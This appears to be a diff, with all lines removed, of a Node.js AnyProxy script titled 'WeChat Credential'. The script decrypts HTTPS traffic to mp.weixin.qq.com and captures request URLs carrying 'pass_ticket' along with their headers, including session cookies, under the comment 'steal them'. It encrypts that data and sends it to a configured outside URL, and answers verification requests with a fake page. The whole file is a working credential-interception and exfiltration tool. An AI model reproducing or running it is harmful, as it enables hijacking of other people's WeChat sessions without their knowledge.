| 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697 |
- const abort = (err) => {
- console.error(err)
- process.exit(1)
- }
- if (!process.env.PROXY_FORWARD_URL) abort('Please define forward URL in env PROXY_FORWARD_URL.')
- if (!process.env.PROXY_FORWARD_KEY) abort('Please define cipher key in env PROXY_FORWARD_KEY.')
- const key = Buffer.from(process.env.PROXY_FORWARD_KEY, 'base64')
- if (!key || key.length !== 32) abort('The cipher key shall be 32-byte base64 encoded string.')
- if (!process.env.PROXY_MOBILE_ID) abort('Please define mobile ID in env MOBILE_ID.')
- const _id = process.env.PROXY_MOBILE_ID
- const port = process.env.PROXY_PORT || '11451'
- const AnyProxy = require('anyproxy')
- const http = require('https')
- const crypto = require('crypto')
- const MP_HOST = 'mp.weixin.qq.com'
- const authTagLength = 16
- /**
- *
- * @param {string} url
- * @param {http.RequestOptions['headers']} headers
- */
- const postData = (url, headers) => {
- const nonce = crypto.randomBytes(12)
- const aad = crypto.randomBytes(16)
- const cipher = crypto.createCipheriv('chacha20-poly1305', key, nonce, { authTagLength })
- cipher.setAAD(aad)
- const encrypted = Buffer.concat([
- cipher.update(JSON.stringify({ _id, url, headers })),
- cipher.final()
- ]).toString('base64')
- const tag = cipher.getAuthTag().toString('base64')
- const body = { nonce: nonce.toString('base64'), encrypted, tag, aad: aad.toString('base64') }
- // console.log(body)
- const req = http.request(process.env.PROXY_FORWARD_URL, { method: 'POST', headers: { 'Content-Type': 'application/json' } }, res => {
- let data = ''
- res.on('error', console.error)
- res.on('data', chunk => { data += chunk.toString() })
- res.on('end', () => console.log(res.statusCode, data))
- })
- req.on('error', console.error)
- req.write(JSON.stringify(body))
- req.end()
- }
- /**
- * @type {AnyProxy.RuleModule}
- */
- const rule = {
- summary: 'WeChat Credential',
- *beforeSendRequest({ url, requestOptions }) {
- if (requestOptions.hostname.toLowerCase() === MP_HOST) {
- if (url.includes('pass_ticket')) {
- // we like this, steal them
- postData(url, requestOptions.headers)
- if (requestOptions.path.includes('getverifyinfo')) {
- // just skip request
- return {
- response: {
- statusCode: 200,
- header: { 'Content-Type': 'text/html' },
- body: '<h1 style="color: green">NTR</h1>',
- }
- }
- }
- }
- }
- return null
- },
- *beforeDealHttpsRequest({ host }) {
- return host.includes(MP_HOST)
- }
- }
- const proxy = new AnyProxy.ProxyServer({
- port,
- rule
- })
- proxy.on('ready', () => {
- const fs = require('fs')
- const filename = 'proxy.lock'
- setInterval(() => {
- const time = new Date();
- try {
- fs.utimesSync(filename, time, time);
- } catch (e) {
- let fd = fs.openSync(filename, 'a');
- fs.closeSync(fd);
- }
- }, 1000)
- })
- proxy.on('error', console.error);
- proxy.start();
|